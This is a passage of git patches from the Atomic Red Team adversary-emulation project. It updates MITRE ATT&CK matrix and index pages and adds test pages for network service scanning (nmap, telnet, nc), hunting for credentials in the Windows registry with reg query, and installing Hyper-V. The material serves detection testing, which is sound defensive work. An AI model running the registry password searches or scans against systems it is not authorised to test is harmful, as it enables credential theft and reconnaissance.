Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | [Sudo](./T1169/T1169.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Users](./T1147/T1147.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/matrix.md b/atomics/matrix.md index d0fbf7a3..24d0b18d 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -25,7 +25,7 @@ | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | | | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | | | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | +| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](./T1169/T1169.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | | | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | From 52622432223b0038a3a101bf1cfdd827821d9766 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 18:37:14 +0000 Subject: [PATCH 84/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1046/T1046.md | 30 +++++++++++++++++++++++++++--- atomics/index.md | 3 ++- atomics/linux-index.md | 3 ++- atomics/macos-index.md | 3 ++- 4 files changed, 33 insertions(+), 6 deletions(-) diff --git a/atomics/T1046/T1046.md b/atomics/T1046/T1046.md index 034167ec..77a22185 100644 --- a/atomics/T1046/T1046.md +++ b/atomics/T1046/T1046.md @@ -14,13 +14,15 @@ Permissions Required: User, Administrator, SYSTEM ## Atomic Tests -- [Atomic Test #1 - Scan a bunch of ports to see if they are open](#atomic-test-1---scan-a-bunch-of-ports-to-see-if-they-are-open) +- [Atomic Test #1 - Port Scan](#atomic-test-1---port-scan) + +- [Atomic Test #2 - Port Scan Nmap](#atomic-test-2---port-scan-nmap)
    -## Atomic Test #1 - Scan a bunch of ports to see if they are open -xxx +## Atomic Test #1 - Port Scan +Scan ports to check for listening ports **Supported Platforms:** Linux, macOS @@ -33,3 +35,25 @@ do done ```
    +
    + +## Atomic Test #2 - Port Scan Nmap +Scan ports to check for listening ports with Nmap. + +**Supported Platforms:** Linux, macOS + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| network_range | Network Range to Scan. | string | 192.168.1.0/24| +| port | Ports to scan. | string | 80| +| host | Host to scan. | string | 192.168.1.1| + +#### Run it with `sh`! +``` +nmap -sS #{network_range} -p #{port} +telnet #{host} #{port} +nc -nv #{host} #{port} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 0bb23466..2e47e130 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -329,7 +329,8 @@ - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] + - Atomic Test #1: Port Scan [linux, macos] + - Atomic Test #2: Port Scan Nmap [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] - Atomic Test #2: Network Share Discovery command prompt [windows] diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 001467e0..c73a4a03 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -38,7 +38,8 @@ - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] + - Atomic Test #1: Port Scan [linux, macos] + - Atomic Test #2: Port Scan Nmap [linux, macos] - [T1201 Password Policy Discovery](./T1201/T1201.md) - Atomic Test #1: Examine password complexity policy - Ubuntu [ubuntu] - Atomic Test #2: Examine password complexity policy - CentOS/RHEL 7.x [centos] diff --git a/atomics/macos-index.md b/atomics/macos-index.md index b1d5768d..b0a0cccd 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -62,7 +62,8 @@ - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] + - Atomic Test #1: Port Scan [linux, macos] + - Atomic Test #2: Port Scan Nmap [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] - [T1201 Password Policy Discovery](./T1201/T1201.md) From f20f312506367e433c9e0a5bfacd31301e9d6d42 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 19:53:41 +0000 Subject: [PATCH 85/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1214/T1214.md | 39 +++++++++++++++++++++++++++++++++++++++ atomics/index.md | 3 ++- atomics/matrix.md | 2 +- atomics/windows-index.md | 3 ++- atomics/windows-matrix.md | 2 +- 5 files changed, 45 insertions(+), 4 deletions(-) create mode 100644 atomics/T1214/T1214.md diff --git a/atomics/T1214/T1214.md b/atomics/T1214/T1214.md new file mode 100644 index 00000000..1af2bf1d --- /dev/null +++ b/atomics/T1214/T1214.md @@ -0,0 +1,39 @@ +# T1214 - Credentials in Registry +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1214) +
    The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. + +Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) +*Local Machine Hive: reg query HKLM /f password /t REG_SZ /s +*Current User Hive: reg query HKCU /f password /t REG_SZ /s + +Detection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives. + +Platforms: Windows + +Data Sources: Windows Registry, Process command-line parameters, Process Monitoring + +Permissions Required: User, Administrator + +System Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys. + +Contributors: Sudhanshu Chauhan, @Sudhanshu_C
    + +## Atomic Tests + +- [Atomic Test #1 - Enumeration for Credentials in Registry](#atomic-test-1---enumeration-for-credentials-in-registry) + + +
    + +## Atomic Test #1 - Enumeration for Credentials in Registry +Queries to enumerate for credentials in the Registry. + +**Supported Platforms:** Windows + + +#### Run it with `command_prompt`! +``` +reg query HKLM /f password /t REG_SZ /s +reg query HKCU /f password /t REG_SZ /s +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 2e47e130..dff1620a 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -391,7 +391,8 @@ - Atomic Test #2: Extract credentials from files [macos, linux] - Atomic Test #3: Mimikatz & Kittenz [windows] - Atomic Test #4: Extracting credentials from files [windows] -- T1214 Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1214 Credentials in Registry](./T1214/T1214.md) + - Atomic Test #1: Enumeration for Credentials in Registry [windows] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1179 Hooking](./T1179/T1179.md) diff --git a/atomics/matrix.md b/atomics/matrix.md index 24d0b18d..b7a1b084 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -6,7 +6,7 @@ | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Spearphishing Attachment](./T1193/T1193.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 7fbfc6b0..affcfd92 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -263,7 +263,8 @@ - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #3: Mimikatz & Kittenz [windows] - Atomic Test #4: Extracting credentials from files [windows] -- T1214 Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1214 Credentials in Registry](./T1214/T1214.md) + - Atomic Test #1: Enumeration for Credentials in Registry [windows] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1179 Hooking](./T1179/T1179.md) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index a306a122..4a4f3ef6 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -5,7 +5,7 @@ | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](./T1193/T1193.md) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | From e50fe48294838a30ec0a24f5ed0483f02ed9d1ff Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 19:54:11 +0000 Subject: [PATCH 86/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1062/T1062.md | 41 +++++++++++++++++++++++++++++++++++++++ atomics/index.md | 3 ++- atomics/matrix.md | 2 +- atomics/windows-index.md | 3 ++- atomics/windows-matrix.md | 2 +- 5 files changed, 47 insertions(+), 4 deletions(-) create mode 100644 atomics/T1062/T1062.md diff --git a/atomics/T1062/T1062.md b/atomics/T1062/T1062.md new file mode 100644 index 00000000..65bcd39f --- /dev/null +++ b/atomics/T1062/T1062.md @@ -0,0 +1,41 @@ +# T1062 - Hypervisor +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1062) +
    A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption. + +Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006) + +Platforms: Windows + +Data Sources: System calls + +Permissions Required: Administrator, SYSTEM
    + +## Atomic Tests + +- [Atomic Test #1 - Installing Hyper-V Feature](#atomic-test-1---installing-hyper-v-feature) + + +
    + +## Atomic Test #1 - Installing Hyper-V Feature +PowerShell command to check if Hyper-v is installed . +Install Hyper-V feature. +Create a New-VM + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| hostname | Host to query to see if Hyper-V feature is installed. | string | test-vm| +| vm_name | Create a new VM. | string | testvm| +| file_location | Location of new VHDX file | string | C:\Temp\test.vhdx| + +#### Run it with `powershell`! +``` +Get-WindowsFeature -Name Hyper-V -ComputerName #{hostname} +Install-WindowsFeature -Name Hyper-V -ComputerName #{hostname} -IncludeManagementTools +New-VM -Name #{vm_name} -MemoryStartupBytes 1GB -NewVHDPath #{file_location} -NewVHDSizeBytes 21474836480 +``` +
    diff --git a/atomics/index.md b/atomics/index.md index dff1620a..a2b39b09 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -51,7 +51,8 @@ - Atomic Test #10: Create ADS PowerShell [windows] - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] -- T1062 Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1062 Hypervisor](./T1062/T1062.md) + - Atomic Test #1: Installing Hyper-V Feature [windows] - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] diff --git a/atomics/matrix.md b/atomics/matrix.md index b7a1b084..236bb8ec 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -20,7 +20,7 @@ | | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Time Discovery](./T1124/T1124.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hypervisor](./T1062/T1062.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | [Uncommonly Used Port](./T1065/T1065.md) | | | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | 